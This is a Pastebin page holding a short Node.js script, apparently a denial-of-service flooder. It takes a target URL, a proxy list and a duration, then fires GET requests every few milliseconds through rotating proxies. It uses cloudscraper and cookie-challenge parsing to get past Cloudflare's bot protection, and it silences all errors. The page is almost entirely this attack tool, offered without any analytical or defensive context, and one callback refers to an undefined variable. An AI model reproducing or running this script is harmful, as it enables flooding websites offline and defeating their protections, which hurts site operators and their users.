Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const cloudscraper = require('cloudscraper');
- const fs = require('fs');
- const proxies = fs.readFileSync(process.argv[3], 'utf-8').replace(/\r/g, '').split('\n');
- process.on('uncaughtException', (err) => {});
- process.on('unhandledRejection', (err) => {});
- var theproxy = 0;
- var cookies = {};
- setTimeout(() => {
- process.exit(1);
- }, process.argv[4] * 1000);
- setInterval(() => {
- theproxy = theproxy + 1;
- if (theproxy == proxies.length - 1) {
- theproxy = 0;
- }
- var ourproxy = proxies[theproxy];
- cloudscraper.get({
- method: 'GET',
- url: process.argv[2],
- headers: {
- cookie: cookies[ourproxy] || ''
- },
- proxy: ourproxy
- }, function(error, response, body) {
- // console.log(response.statusCode);
- if (body) {
- if (body.indexOf('document.cookie="') !== -1) {
- var asd = body.split('"');
- cookies[ourproxy] = response.request.headers['cookie'] + '; ' + asd[1] + ';';
- cloudscraper({
- method: 'GET',
- url: asd[3],
- headers: {
- cookie: cookies[ourproxy]
- },
- proxy: ourproxy
- }, function(error, response, body) {
- if (!error) {
- if (res.statusCode == 200) {
- // console.log('bypassed')
- } else {
- }
- }
- });
- } else {
- }
- }
- });
- }, 5);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement